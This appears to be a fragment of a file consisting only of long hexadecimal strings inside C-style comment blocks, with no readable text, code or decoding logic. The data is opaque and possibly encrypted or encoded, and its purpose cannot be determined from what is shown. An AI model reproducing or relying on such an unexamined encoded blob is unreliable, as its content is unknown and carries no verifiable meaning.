f7da2a8f2c467ee18fb2e6687e534b42bb752b1c8678ee3321c05b62484527c805d21fef91e746672bcb5e273657c205b658fef712b4e22416e52b927719e645ddafb48f6426555c9b01044b9308701e88e3c4f8ea1f2fbcfa3aa885a81035f74bb338304e4d1a1487c842dc7b109c9052124e4e0c0533f8fc15fe4ae33e7c31af690a9c10616be1bfa89fe3a97a537c29334739caacb862f89e49b479a5cf034cf6434adf20ab20ee0f9ec53662b782c0741c2db32dd8707f80d9b134bce15002dd878fac341becc358848d8e8d1d15ba58be19ccfea98f7248bc003447dce52c2b5bdb05274c51f6ecdf746a1f1b90b4f2669e9afd9f880177da29ef98ca3a84b87ba745a377db71120807c97a22602050191a69d475197c077a434cbfe1ae2f32f2d9c1897b2ee8f7012c61d616b260b33e084680e13709fd19b0fcfb17ff8cdc07e11f4bb59cd6b3091f74313f71f1f4362d0ee7ccdc161e8cd4b1b78f443be2e50caf2b3c1be0fa82c25af312c5312d64edca17cbc802a44c838dc9a42bfa2c1891bbb549acbadbde773ed8cbd858a85dc31048aaa3b5ce2427ccfdb7ad9254ec4813836b033886449ab0df427aee229905f9abac5457cd8d7e9aaf2fee7f193b3aeaa5820b95291f7fb5e36d2b3c87814de0bc6fa4643fc26659e086ddfc1c84153dd42dfbe3f4b04e0e53beeec42351b042efd182ee033645fbaef5b6807baa5ac0b4a61c4871e47c17db9b55fa6a9e953fc4254a8ee99eb39d28e4112f5aaa456cebb5ac8d76ce082ad70dced50c64eb2d921e8211fc89507ff60227d172dced40fdbb996844fddfb32a96d3a4a9a9f6bed7151f70e39a2ee0ef912cd33956e3daf35bea0ff37a766cfaaa41bbc202f28849361746cc4ea2d126e7bc10af7f8efe95aa2eac666b1a449df6101ff82ce6a7c7bf28eb4f6bbc1195bcf6b67bc6a866509e4d533c2a025b8da47430a0d72ea8730fd4b4987ca0fae0f762843cbd22955809278f0a2ddd13b6cf513f05d858af2936f69a551fbbc9407043d9f8b7845013c77b955a1ee4748264cf660b10eb13129ce291d920c92b2bf5f9057986f8118e1b22d3abc9eab576f26b6f8abd2c4622e4057ac355961e8e5f9379283a9699cbfc68749b8fd29ab8bfda90e974366593876b8fece1d1e10469b3a0cf5fcef8e15bb28296361a09191e0468546cd850f5326636b*/
/*366768497a1dd0218955b92306ff641ede5673da22a36189c79bcef8e9d341a8b243f33a4c392611e48c2a2fb3341d03ae4b62af47d6a91ff95095d7e2105aae13f13723abdbbd005c71a3a97f8c5dffd1803e37901da319820229ef017d8ec146ae190e2758bf923526cf948bf881e76bf0318d4cdc01ddf2bc1c9c3b063d4896e343243c8481d64cef93058ae9c834bf1c51fb03cd576262b029d1d30e8cfb69810fa6fd0e62c4ef73a7b492554dda1fbf27a10167e7d2946a44d0ad05b501c14d6eab2d86fc68e7e6c6ebbec4771dbfcb87b0955aef325335ecf535daba290c35df731b6f2caeaf9696d7374e7e5377037342f435d5c19627a613018c61fddb88f6269bf2efaf43ab00fb57cfecb6207f75a5d19e714f18687a850b0c75b69935e26ef974e8288babf727bcc27b4e5c3a76d0414781b388b9c1158e74f8b940acf227609f5adc75b1b9d6b2b5344c259fb4ed1b6b49851852143f4b0c6bacf7ee564758ed53e3d9d19653d2c242ad56452fe485e058ef8e7a06a25b2940d8f1ca68a9ac5a7c519d495b8f4387abcb11b284c45b706516bb943b8d343f12d6e25ed1c19a8ec1cb0d7468297b3fbca9e386646c8683e765f462de2ff7ea2c8debd19365e5e1aae6d2b16e8a928b1ef9a2822c0ebb70e549f91890e9e7ec6dfa1c23f327de61db07aad472543529d8be4ee5a51d654c614f93d8125fa1416851ab9ed34aea3f319c4b264bb40c34a6cbb6f6f8ebed0267e1225c63364021486d566c986691fc5265360f8385b596ac305860005c87846a0f935418240564f24635accbd8fe85c97cb584ffb987732eab9b6951bdb4250bb1878aafd8e13390287b3b7be40db1bd39903d541417a3f3073d587223aa339dcfc3749c1db82d3741efa962db2356d97c0b7732a822eef2a58752524def522e0819208a2991170aa8bb2a656501009be0728174b2c38bbabd9576c559201a37f05a65fec75c5872071398a566fe01add81f76d5a86ae7cb0ccd26c78213d2759b5a48ad392f1eea33ade2de740c17755b2b5836b0906f7a9d9b3a5d48a68897b1139d192ad74103d5f9fc86b77aca45aac0cb83038bdde13b5f90595f21036048233208d6ef0014bbe7f1683881c8dca4dc64b4e8e53220f0d3e95b15d3aaf362e36bf4188b7c2982a98348c2d00fdc6c9a004c21be2f5958d73c00dff007cff5d30c00d2f07c6230fe4b4de4d89f353ed9a49c4616cab334cb3338f06d37fce26ae1327746c031781875d8d97f44c96e37d88c0145aa6f8c28280d0714f5e93962fc16d94fa5e71238d3f3eb0f823f19f79a25ad9e10a57a2d87358cb2578c536cc6a61f362bd0eff1abbcb3976921d303f37505cdadd06c0c591ce1f2f330eb2e22dd0db372ae4d2a4dda9511d43ae240e4611685f1da42a23c64de97beaa98833cc6e7e3081641df9230ff8a56c3707c5f81f3e88a352e782f7f4af0eb9ce02b3fe7ded530dedf1235dd14ccc4b134c991ebf0de173c6a447644d12e29a3846b53aa7dcfdd5966a2d406449dedf2d75bb10a4b69e22fa827eabcb6b992996c5ac605b6a4ba7a1cbed3bd47a48f0a6b32eacc0175567552f0f3c870b07ebe84fb469b74ac9c2fc88c81b6784a974f6349f92b49e08934ed80d0dd1575c588e3823396b8a2004ee0cf95fca6faacd1f0a6c7a01721e7ff1287ae92e1ee8b2e58bb6a963e1499eb0a90448c5f3b55ecd8aedce5dea9e613b56afee8584dbd9be7ab87e73ca0c47a0a47f81fc7b9eb443d9caf4d48a402853c23d44bdb29ae38b5007acfeb96bde2913b0f0ad0fe17c73ef3c96f77f8e891049c72c69fbf7feea6fd376e037b806ae84cb8a3bf900ae84c45eb8c7257e3e9f5256fc0491ff08497421e0990c0b3839f6635912ea4fc2dbb2e8c795c726fb39129bcb15691e17d07f1013d2901da445b54a528420015fd9d52b3f87a4da006a96472718fc0d0b5526a9838f1b582e35c422617e6fdb303872907943e11f89893b0af005d46cad5f1f660f09b6f0dc20927264eab5ff6f912756303983b284c239dd9defe002ece9b731d9bc4479353fa926f0fa8268ca08fd6e0c4159ab74285025df54c9d899a157758e3c3160a797b56523e298d90f236b3cedf1bd45cb470a6af2a64bff1d32cc654692b8f70ed55b9b92d59f2721ef354a1cd26baa683951ac5dc9c72545233ab04b180832fa88aae2e00474a307a8730d6eaca86a6c90d9633b97aac5be6001e83f0e521148d17a512815a87ac27dffe96720acb2ae99ca1fd9f1bee87e1145c9790ed9056495b2d0f81f34e7488d35796dea391bf88735a514b85502509201a08f7d56d35c42b55d049f706c1e5490678014782e5dfbefe887c8b74d3a4a13561ac0635ae20ff9f184e6a8de34a66686602df3593746173988432845f72217eb37550bd904230eec3874d712e7c8ab03ea73b63030d383f211a7d1ef89dd7ac76bd68ea9035f196611f63f2a40762897c0765a0141ff2dac12bda185b66a510aa29be3dd63fdf87737742b460214dec838f9b94504d16e6d6dcf23d40ecb15bb770335a40a7e575a60d571b893476bc93517bc03d08123af22740722c5866968aa104a0117f2850e7f01a756eeca2d09d097aa3bd0bcdd6ba7c7a19c5c98fa25f9145e77b35adfa466f304db9ae01ad2439e8e96f8a0f5812f281d2f89647e16269bda05d0bf4f6325ae354b39cba0f819027c415e8ddc5d38e9f14a5716a0f68bb15b8b2c74caac7f07f7faafc1f714f31482cf692aee6d60f19e5efdf77d3da0c7bfeec8d66e132472347e6f282c63dd70ab5ca6f79*/
/*72af64a914cc322eb40facc29cf99c1161bef2dbc03d88f79d5e1dcb08b1a4aeba84e89c0a82238c7485d7542f5998efdc92a3745ea317dc4016ca326d0663b978444f63cb53567c54f4f2416f253d388878577b2461fc5632dcceb214b706a894ba7673594ba9adc5005a265ac7997b64fd1b351db7a00f229d53e7b9b16097881180ce9e76b92c8cb54272b90990ed4cc0eb9c4648c5bcca910d6bb0f21cd01c9c75ca59ed3eecd18de878f0e1bc21cf5b320e03e008aeb7cd999a990268565c81ab0584a163f56d3a7aefa12945035323e8a57054c9228a9e99510c88634005e36bef8d99cb34ab598fd622cf527344a7befa0e2a586e31a9dcc30e074305ad4c631bcdb891df363eafe9dfed0038742725380ca32b3acdb47cfc3ef625914270aeadeba6605b95b78a38a6f1960b0a8424b2bf1855f8a27575b084f94e15ed73d7c837b7be66903ea2beb3a44cf632c7c72c8aed85ec68fc4660a85c1e2c5a27e7d3fa7798b69cf5621ddc224362ea1d54d357d959ca2e8388c7af7dfbb6b300206ba9c026a219a976a7a261103767e0bff5875ee85c3621d5521ae6a5f471ebd2e8d9a5b9c1eb617d9a0164d459b668ba157a0fce155ffb40682b47a6c6f644551e6a860996688a136380afb2cca6f9852a82630942518633a9f805ee4366c6b74c2b8fc27b1f579eeb310cd97a77a98ae4ca2dfbd84b1aaa7e11aa176072ba984a580b6802d0ddf355387a4c901fc04ee2e121bd7406b0190350e6d880c5ab2db606282119803bcd45e33068164168981c220b3a25999262c9e689d50a4bfa831514b6c1a65c1d54b77a2f53c458b1dfa3ecc82dc38851ed48b06fe2971ae9e774c8a9412e7fbc3b39c8f44e44ada81fcf4b049f2361ac5fc312f1a88d613b8a0f81976c0c1837027b8140f666b2fdd2edbcd9f7607a2eb55e2ebe0945326f183cda1c449fb7ebccc227bb188e614c773fb752b506ebedb0e054415ea6f0152a3ceec8892030ebf06f0836153d1d3d97393b91ba947f67e539782e23fef7c2da1bb4d9531908ac702cff522221d9ae44ac9d0a72331641e35ef9d3d48382a9e6224207e4de0419c69daf35925e699e9aced4ccec97b2fc19bea40dd2c8af146856f285d1e8219003b77fa2ba7826b86d9b967dd356abd502a77fcdcba0707027f4a40e7868cdae6948e8bf4daac495df0f1ea523747b9440e6746a110fb0acc39ccdf2866eb0e9d0835d982655734ba7c952ec514d466793c3bb60a06d299082715e34df085848200ae0561576ec79c74470d08e7ea848f6a3bd12952fd0783f904a52ca378ba396ddab0624f3a2fb90cb30a19ca6c28c27a88196deb8950ba082c7bb7d2d9234035460a5e65abeb3092fd6755338908803a5ae6b48cbf7ffb9a25a7e4ead9601b807ad76491ca93d368e5dec3bdd43060cef880945f89a420d0a5a40df00c6baee51a088eef6ca79c79593359c79a533260e7a8d6b2c508591a56d8e41157a4478167eeb95b33af5e778da7f5223caf161b6742d568ac61da7f74054d809ea4de6aee43cb5f04003f4bd527e6499ee3b8dbdae01d44b8efc811c64f1038b52a5723168a631df8147744c21a4c949d724cb3b08618be5ded10a36f8c2d7fb9ff52e3a2f8d5b916d9e763c001b25eefdaf3d200734cb6ba741dfb4ed54978a3c67bbf9f85c5b5c58a66fde9429b551f724701d0e91ac531800c28679fcd0d7341dd01b957a3155523786ee3cba13aaaf889ae728678aa5bc688c9f2f4e32be9bee1f3db5ea5c4c410e9bdca37573a36cb511973ec592ae6de69f2fcd862da04d265e60164d55dae34a003b1f9673ac4bd909cbe4e4124fef5b85e135f27ff795c875539a32352969b8daccc9591c4268c7cea52b8b437420172faf00f2c3457db33b5f2238d5159d36a612384788ff33d00966c6b5acb91a286f6904ea0deedbcc7ba52e3bbe24657639aef935a40a40ab7f163878a44c445e8304e692e0480ffb13da45811abb4507893de69887d82f0f88fe3e31b390574e286a057fe6be8a8f857c7cf5f555823ed05215a4468879a4f491b118c9bcb0f421c4fe4d2791cbdf4f90416c0782d671cc63e3451d8cfbda2f6c23c25945d9f99ae7ef03aafa39ef2663ce95b10c77a97e834ef29ea24bed48ffe6a497d9b190381eda40c466f0c0700c904f2396b01995d1405b9714ef4c253d0f95bdc69fdac2366c77c87c277f7005c836e846c1d4510c8d46ed8993546f7f08a25ddfa4941bebe96e0548cbf55eae02e00b918994c4fb787eef00b747273ae556e6fe1bf3b2ec00cd0877e3b7c18a03b03d9fcf44e983f6c8a6fa237a9876c0647979b143b131c39bc5a579e3f0f9fc7310e6aefaec67f2ce5d31697b4e5943978b3392525fee81bdf0903519440df78a273d7c7980d6ecbd36384cda608a18d67a66907fe208bae3de4e3103b4346d64d792b761c2580c1db33bf8a11a826e581b353ef4bb5cbfd67564f58bca5f4f09c1a2960b3ab47638f68c3fa41ef8670d178b3861eb2953b074397a1d19b07d27c567a2f268c52164b8bd0280e7647365548a0402bd7c0c1dee5d268fba0e4ba0f9b92644a760dc8076f19c2bf996a4868a6d3a7963df97a16a74e127880241b3160940249a179c20e20a9dfb0b504d60a76f7204416075c2522ae4d88da22f4e58746e768085380d8cf80f6a0728a6089528a58f2d8efb39b172f12737f05b9b8c6dbbb9bad11f45c499ab1c599c7b2cdb8b38824634e49506e5e8597b01b7b997159b8c90c2bd2c2499882c563f3a78cf9fd57e8a5d30910bdb16e150065d12bb83*/
/*dc6d3efbfd78dc7a713513624fa31169388febbb818615197f7bb3fa586d53e1cda2c4014875567199441e7abf6319860fec9aadd35e54c42e7fa3dad41643ff448ca387fc3649a3764f53cc4bd76d2f186884557e8dc251c7c20292551f7ac7d2b02645798236e3bf117434266c4d944ac263824eaef0d3deaff97f38032622c7553ca3129a4b3efe6c1d1948805e81488aba81f927fdb9303a01b87eef697faca86705d08286da1af49b6c3f3a49873d36438347546339fac322d48900cb7d9644dba987a24428f71d9825b17e9afecd4b3d10aff15e0493a2808eaa87d2ad5b3cd96f17680e33ffcff89f1c036a100b0692e9796852d9b068707790d83a5ac92c9887163bb0fb3db8e16ee89e3bc0b53572bbe193aba063373cd8baf456cc17e21101afc243fcbaacdbd5764ea08aeebf7396d98c09a8e1840c14ae9feeb89f631538ca01c52f4dd728a2d6cbaf4f08ffb104c49bd36f24889cabe0a7fe5bfbdbfd67c8097fb0d627ec1dd1d3e2a2b0a3de3cb8c3d7d304e1db297a17a57bf79213c62cb7ac44355ac10f22aa38aeea19d6cdd1cbccceedc7561fcef339cbf5db15ac3eb7999ca2ceada1b9dc56ffe7de701cc9cde58d0c66b3436c89a7396cf46f2f279ef35ed9b014670df4f224e97d34f08232d299f4316d94b6f55c284345c86e844fb332f9d9d4244509c553b4c7214e57ffe04f0e3041b9f59901cd8e443219df90a414a33691feb927b40af73edd80634eb0f1646337f226f2461fb3f0395cddd2d7ca0dd2f90eecda0cb2aa5f1dd648ce44ee6958dced5008440e7a6bea3d89166245e616e21ec3d6dfd39cacb68da082869656ce6089f25ab18bb552a464d4b594d49ce252b2db99ddf745245b9db499bc595da769358b4e4b40adc89e895bdfbfc30a79aa5207005c57657ac4df2e6dfc89b9a1ed4e40a77a99806206a109473f704110431fe6ee964d2fb7bfca78c9d5f79439002035473631855bf9de0acb394d48c786cb1559fee0a3e8718a175c483bc9eb65b8cc3c0ae28acb5e32420879c1bd9860b934587e29669ab857565080f3765ab0e773b6d9c5fee89e866303a34ff00df181b0669925397bbdac4d76bb991870d0d7dba01384b735433d7a28c482c615881cd7602f88d4e1cb278363e44b9d56d2c8f2b23cd620e0b60a8a97db0afe5fd9c0ac1e56a8133d4781212f71f6ed7607f471b16832c368f2e64182033c1dc71c18649206e87b9f26aa5ab2938ba6b60e72ddc7f4fc082da136b142496d755e7c53c4c4267e177c29514b457af56b0c08bdf2717b0f0495ea2d61131f4a88fc04c6f7385e3408bee0a5affcbfee53e0c0d96d3d1914d45867be0b104f6d0a727ace62843baee7b19b66737d578dc6393ed16ccad5bb02b132522b2b4f1ce4e51047be736ff4a330094ce7d221dea9a5a10331a4abaffdc98375c157cc7f10396246e745ee606543a685369453abd5f7ac8d69543dbf38f106e49453d433d44a4530180623b860588997a6afea8c972e8e26cae7991d51930f04dd492b3a33cd215462716d504c44b96c8c5f4ca53f89b4491b250a8b10615e7ef4ca8f7b768590b2509c89e86b5a74688d7b06a9cc544b83a23b0c405452810b26afaf31a23cfa6b98f2598652cc035236716b25ac8036e75db7c1cb7ea07125a3b1bded28fcec2702b3450b2e1fac792c2849c4a37537f7067d6f09b7550e65f28e54725d2dfc4792f3d6f357a4198e247dec04cd42eb445e962398cb9099c2b80306dea99f7382264fa51414ffc5abd77f2d6b0055c4f0b56d84493e675370bc72716c88b5513dca6756547462ebf76a54b35cb37bfd46dd38875b3a50d3c5a66ff793e7bd56d9f69e3dd68bd886ab3836ae7dcfd9aa487f923ee34a0c83078378fa40dc9888f878a03d58376c2374039f2c2932edb35c83f61e3771070d2d5b7b1bba437c21efb0aa141f4757aa88be4fe98d708b439d71e0333bb51ff0aef91747303d06d97d46da839c01e7b24ba81a12d8179fd523cf0ad58b4b6b34dbd28ee7e0c5412a7a7e5da17b1eebbb42589387a95ea03d0d3d704e1b00ff4527e4a28929ae43aef967ff890903e40f0eb39bce4274f2ac535a733bae19487e9c0a92d454862c9d6ee984e4278fecb0f6ae4de628fb0d6610f07360896b60dce944610d3917ea7e0ab54e52479fcd44f9996052ff66843dffb79fe506f63b33362d6a3f8ffd62edc6755a6f817b8e37509a7e38c9dd4d1344bdb71d2977b76aeca39da44a4d95693ee748e318def2bc0c6520df1e86945b58be9c915050d5494b34b3352943b8f3e545c046af996e907eab9928dbbae28825656db9229fd3ab47dc3ca2a07f55502f7c08a3f61131832aa19259ecfcb566f8562f62bd121632add1200aab7ff281a1ebc643b685f8570ee8d4d222cca032b091800704ca8cf412cdcac0c7363a083f0849864cf7ea45e996b02a8f48e3022ff5e572dca3de673221c6023d632a62a9a16a6bbf8f4ef902f5a4f2c50f1235993ab8a83f990c9ff485657ccf58d0ce0d6761b342efd23d16f366254777ad5885607a92ec4373be3640f5c05eaf2ae41f977b8bbd3faf5bc73cd41780acc92b198ddf532c96af059503d19e44053f33109635b6f3f7115270adf71d5f73edc59df0f95d1a599df93019b44f203989e1404ad28c3f15d8ddc01082249ec58f320421f7f7c9133bf6ce0dc8cb8bbd34fe57d2957fc343fde08af8013942b9f6bc3a406e09f6bb1267429770bdef7d5a2cb6661a7e9cf85e0f4bd8750494e6daf28c422ef17d3074883d40a7dcd64e6cf056552296c3*/
/*585fdb4165c96cb5f9d4b6dd8d477f4aed2cf734b07840fae29321fed4a431ad266ce079a824484b1a50cbbda91adf9e64ed337e3ab7d7cd843158bad6a6abe5d3973aff7be401ce1359f088a9d7022e4fd4acc4c085e6554c2319f67d4fafd5dd310ef1ccbf321b24ca2894a2b86cbcde38917974d2a397b9bdd99cb228c93d7be88bdeb6b780e25e5a4de732b80b1cf9170c265defa2366f86ee41642e0c53869647f3d3d5ecd2b1ced0d3543bcb61867001be6893d430f72d31070aa34cba3b07372bda69758a7ed152f9d7087ac1703595e3277f5111aad622aaf76d1c8a74ad9031dd02d6684695cf5a26eda984879b3d15a46fd209131997db5dc06ac2c5c17ef343cf601544fce6195fb76a97c1b9fed45ca638d475dd6ac4b7e80cd7834d6659c46fe35654e9bbff9c6ea48a144782d16a36071e009d2c4576c3acfa912005f0df021fb867878068c1e70da0ea1062961148ecd5805532a94b6f26d15f229bcbf85949f7b33b203b749706fdc5016cedd36b0ea95217e3eae94e492f08a4192dab445e101ca7ccf07494922a31798c9e4897ae8f030894cb3e3ef7bbc8aa03043d3eba4589a255ddc2b4043b460a488d7e80ff59715487879e34dc8cc60db35c6f358bce22f9bb8fd1cf52e637144fe3a8309af97348af3a29b2a629ba7f950a8e945335b92c8aa12ec6c113afcd638fb252ee17b1feb5228fbdb3e6090999f2ba3bd86f989efe8710177299a8b7bed7594d735ead868e60e0f4bf7be062135c3c2477ec72fc0f82b5b041629968007f3f83140bbf781f9dfbd3939bc552daa29e7dd2cf6234e99bd217b6fc44e305d0487bf8ccf78d8982ccfb647836bffb7c85ea15fa923aa02d1abfddc1ec1410a39b9308538020ca025f45e24888f5817b099e277323b9c9f246c7fc77ccffd960e78e9c410ee4b6440a826fac3e02319a9f5e97e380c060f309ed9c69fc131468d13c2b30bcbb60dd48c15c3717987fc1b83ad7788fa621e2cefa0b1a3fb24e14ad27259d68cd5269184998151ab29397c8ef9fd34cc6ad324ccf946d258b13234e6ff53d0bd4c2b35d547d7fc3486a44c5fef242dbd57a9eb269807c2b32a688421f4cc66e1b42fec204c8259b481da7f4ca30f88c607d2cd01c58916be1c5f69752f84e562dfd648cd208e9bd2abe0c76556ba9e09373fcd20f2013eecff9aae3ea086fcc933769a9ddeb3fa1b0127c4fe9dfd60f5e6533f7b1e1045087365e15b29a653b7b0c2d7bac34e3240c61643f1920c5bf17f67b32c17d089f6e1cb84a2cf8a0a531fb678e94813c4d28ff15484b634b097231ca19f466e02def49b7ab049f09bc0e72a1ece400180bc054ec585e612261b84e6a267560a836f9c44e5bc274b56aef6e7b8b723776e33541175ea82e6efc8bbcced9c9fc02b94f7a9659b4f12a4e16a2e72383f7a1bf44153db5beaf2e0c99557c189ed8e96d4f45cf00bdabf03e46e80e1115447d80c8e852f2e90af5ba6eae2918611c2a47dc73a14732199674ed864c1ffb459bbe8042f7eb3c1413e40db58d5a93487123bd39c6eb050e7d75cebd952e17e60e2eddd2486eee5b14964b1a615e1095d303dffd57ee542ff9da5538cfe73d29578265c2fa341de013268ae25fa14bfc31a3b201da9ad49c70580a911acec1e8b5508f5c7f19e07e7b62dac24df9e3cd6e839723f94d959d4f4bdfaa7d06388afe270a0ec7cb1ed8df1098f4396ef1db1279062646777691e44fa25da5964a5bc1e6c2b0fe6c2cd33c3e637333dbef38389182ab2ddd87f25f969273a87cdf3da0aacbd0c6eed78a3d900777a6b42080ee6d2ad27f258a090074d6a7663898871d868e75132b01fc749e4e5a0b9af0d4f0559a29346b4161779cd4622f3ca1782672bc73eaccdd3b3aca699397ec16380a42f79061d07018955728432b6e6454835dddd181f13508570a8a6e218d5453e0a78cb7f2edaee768d8f06b0c4d4240827bc9b02e1565abadf4932eabc3adae428cd190920bba548f28c58c405dfe87ec5b911a8c470e6139bb835679cc4828ffd5e31d5415b2d01b1c98e48e60614b263c4396df030e71064ef842937f3e21ab44ca1d6fa599f4170bf620f5d3d222f78efdee232f9d6703401ae0bfa861a93feb6439a1d74e178109a62c276f5f3ca407a466351ad40215827cdec480b0c1d9de4d9f371320a24fd10b8c7e6cb24e5eb1584e5d977942fe077df7fe5cd64bf95dcd887ceff630fa97626b1c42e4c2663e8d0b31917c096661bb0e9771c013e05a0939cd5fdb43191139d0381798173350300cc64d08b909de261def088d2627dc08cfa57faefd802374f20ecede24ae987e8ff10dd034e5c32e3db7255cbfe6aaa78fdfefc65445aebd763b8d12f34424d4f9e9db05aa8ec2865157d58349d4d26150b82e33d774cefc60e7fca86d84e497268c96ff91bc0939df328e275c009f5c792b0b7f324fc12fc25b6c2056b7741e9793a81602c15bb4b6d2395e7abf491b621624745a075a536813e1ea655eeb4fa16bbe3a0998c06053edd53624b6fa73791f09b8e6363e0f283f2f5b6dae5dd5c617ab9e15d9139fbab542f6d7030bf54b75bf02ff830ef4f4e90f8f60f60b9c38943736483d2e474c34d41438c30013841db982fa5a788fddb4723d9edd1bbe6460564aed37a50bcb056a9449e317ff141867f02985fc22b115bd4b5c6857d8977687ca604112dff7fe3fbf5fe54a7255e14b333e38302e217609a896b782933eb1151ca3edbf08f32feb0e1ab1f0e6ed6b378e39f97dc8e5202d6aa0af1be395a3dfad0b1650545a86fcc297c1*/
/*9b063d0368262e63dba08197ad7277f5437b82842720763bc74a1891b2f5c73aa4f45c892c9d67f326c5e6f4b6321436eb78dd1666e07388b060c9b963d8848dda67966fd99c3d08e408c5b354fca6875ad9fd419870b09db6fdd57d9a1788feb78912e181e79f3bc172751afb3ae18ceef405ebe1bb0c9df27c96658631e311ff44cd05312544a4a2d2a2e7909554bd49456a3f8727b620557d8cd50da69dca52f573861f7a66cfd748365f30ed677a0448ac7528212b4b718c3921ead35204adb4b111c1e37d78a01f7870b8619a88c82207aad0d42a8293c8a1e6a6075266d27b413d2883bfc56f1033d93a2a116c2bd3bebcc3ed89e86e106dec95b193d4d133f2d1a730e96f76307bbe0f34089dc1313dab1f8108706b13553fc2c9dbc43f573ca6502defa8264e7affe79f0a02bc5b282d6359763d31371f65a96b7a00fabb1dbe74d74359661c3316391ca3bcb076bd0f96347fadd6c56b7e01c4e3c60e1b5143698672fa71238766ad1c9ece7c17c1b76770547b601bb5ca4c5073f2d1225ea84967466959308d72ddb947cb6d485db1e68f256c153753267f915b37215e68dc6062dae144a31dad57a9165911bf65fc88756000bae8abcd4dc8a4d6f6dba4955c99821f66be7a77814bc22001ad9b24dafd53c4cb189d24e4a102c60bde79f458ff4355a4e890beab9eea89c78e30c25031f345695638619706b9651391cc4d0a86e9c5787bc150bc4d02c7f9057ae4f703d29383f5e7eb2706edaaaa3ad92383a522ba18b295660cacf0eaca8e381ab163d9425de24c8906071d9aa7e6ed8421c59ad875a072b4a64ef5524673ead5ac6567ef44f602116afec2d1affd0c05a0f8d3f5474178fc0a0e9310e38d5a4e992f50e4a6d92e0e9d7cba760dbd0a556b9496088d90287a649129673b1b4648ba250a0dfc44e3093b1f3c563d3d3fce9ea4800527c347a93e3434fa79bee24e79f12ae11e229ddef8579dcc79c600af347e39d66f183628c0a8cef686d4e135789f910553a15fab219f2e70aa7c7e34b984856ebad2e020e234fb775606ce678f6ba5fd727c467b96734548b3f67d5784dceec61a00c76dbe8558f0b09ed4f076b76f877e6e831743ab69b6deecd64b502313eb30c301df51cd6fd8626e26c91c60bece88890858516a10d9dc4e275890d273ca096c650c38d2cd6090aa339e6f2fd4eb0d9d3e1bfc1a110e234ed3ca5764bc562e2cda4034cce54750b2e2f2777cf0ee0af2e795c285fe0e0e94b7a0c7980f42a198924ae8a65f58d3c0f5def2cea2e6de3b420bea6e425ef5ea8ebeee9e9529de0aa8bcd8307bb1eede68656efac344ce824a6a2c80e988b8ded51b68e3c120995afaa0ecda88ef9576cf91622c70f6a3584d9b87ea7d94b031fae7cae2821a0fcef47ae685696c991326e09d26d9ab8c8c8af3b18321a8ca150d9d0757ec6975b4e276ec8c65486bac90f8b4551f527eeac4a202c40ac604647f45cf456b3d906f33aeed3eef013a17a932b106eb627e9b713c39b2957b1f75842a9167b73ad0947a777fe92003df10aca270b048c7471eb20d9394cdfaf501c6fcd1024d2c3d6183abf229bbb7968d1cbfd46fee9038da8cb5c5c5d69045697bd62a03c8fe76aea32148866431cc37c8d6351fd913c2b3080c9f0b459ce523b8aac07e150df404f49b1782acc6a4c8a96b955c5b0826f7c5f04abb3a734a1160623b46aa660e8368d90ee5791f456ceb902d94558c3244073638b073f52a0d24594ac6c56c9b4e99618bf018bcc60e23b98f112341b40d32657acd2dc0f776f1aa94f3d35c169e0869ac59bee224a7010d81fd9bc104a4714b46051d5f7e8663768826a3dc5b5d9f39ef117dfd1a207d87190941a0e311edcbcd5f6143649e4934272ada0f5c98c876dd36db6033294696d6d48cad1e7cbc0e70275745efde306214e237f2a5f1df05631421a7f733fbcc3adb7dc626fb7e1b0f7e4d07c6061d9a9cb87a56840cdf39ad3fc803a48d06e67c77e5f2e4695b02a467e839f276a86798da190702b068d3ef1d8458fa241875c60a4d48f23bda607f05517e41010f786361cdfa322ccdac14fe211de874018a564add3971638b747679321a9c968a6db169f8f47b3d36a1b76984fd278a014ac1a1ae1d20772dcb75a7064425d14dadfd5c97e6a8f1cd4bc998851cd8081b4f9111e5b2dfc715606a05e599ea8f8fd5d7d3076e6e6879ee3c9e24688a259813408bc273fda35e5231fc3e258e725bd47b26e0506087324971a73271bf9a8665ab77f14abba2dd1cecf8b7831aeea454947eb2b3b20bb8059ad848cfcd37417dd18a212a1db8bc4a4b96915146d524dc0d9d7d3d2a407e3661e31a4da089ccca4b7d10c058ea4b34c1aa30e6455fc5f36aaddcfc37b194a081b1450b39c845fa40d94cb068aded244227438253582f7ed4c365b3d439e7e808ae65aa318cb6898c53f15c67807e300873431a5d1b93684e848d1d8cf29ec4419d06dbd2da57ea362d89f56a8dcd4013b4c630011e14cadf8cef8a8a85c1ebdeb614ef7d89cd921f4cf97748d940241b040f41e29406a3dd4d5e18d7822b70d0cd1c96b2d828b70eb25aa8b80d37ae8416ef001ac49103b59ba90a710fbf41e8fc3082a5c81e120002b847cd25100dba81695cd2a23e3b80d0f71e976614ac8d092fcfdce02106c3cd7580c33d3d1af6ce952842ba219e96fc700b7db785b91a0b62275d3151dc932fcefcad88c34cd968ee4211f99f22f81d55d2b1f2c0adfdde2f224ace8ac47333ba23eb5dc78279df37e9dc10e7d7c4547b11c106674df7244cfa*/
/*360de0206752b486235186050d7b0788bc5a589c4e98e64d492f83bf2ab4be2788e7a3dac9200fe3148f2af2efbd3d33a3c414dc27cd40a0a190a376c3eb34edb64208716d382ed4ca4892503bc798e334c899ad703b02fc01891a57a74f092639b442389c9a48242ffaea8d85bfc752b83dff30742967e22eaf944ede66830b97c2875585c7e1ec393f8b96967aa4fcd092b446f976c35ea54c2f27af9b1c92a7d3f6de437c48ab2d317725881a17d083573123249d58763875920188a46bac1776a6e3e4bbc448e074829563cf08ebb102f00ceef12bff24a129ccc0dbe413b21c70bc55185b3edb8a0040e7d6b561d2db3b909ccf34f46b327af25f5a67f4187ab8bbfab4a645133c27af09cec0f2166b1248bda135ce775489b927c54aba2e542036ac882f6cebfbddfe04a614a9ebf97aea82eb1ffc8e779af30271376ce0293bf6f5afa20f3213cd59f30a0605935a044b4e64afbe0503659ab9b5ce3a92e7b387ff3eb1c6486434da25df5c7a8bdbb28389f5ad98ea23c2288b34d81b2f3eca89e0900f545cce3846467121735769db62665166e628efe61318d476a5bee0292a817bdc81f2575e72bef4a19dd5406c5e6355e239f8b343fb91bc67e4ee9f5fe0b5f223216ab951682db873a7941cbb552f2f71b198e2d510667f61adf18cd5835f7958a80df309e778a671257aebb793507d366d262d854d4b27ab3d641710b0118e0117ee5d0efba6a09c11d69a0458338c275d383a91d6ae052a96768c3bb02fa9197b0647b35cdbe8b39baddb0dfe6af9d28271e6663b8d293e453f22a7d2b3a803e0e1b9c6895418942ec878e01b343fda77580d3cbda3ed666498ec4ce988e7f12f8484f903b713277e5f2470195d6b9f9cc672829a70e6478799b79dfd82c877c510b6c3084c3aeee5a49ce1d9fafd7ce2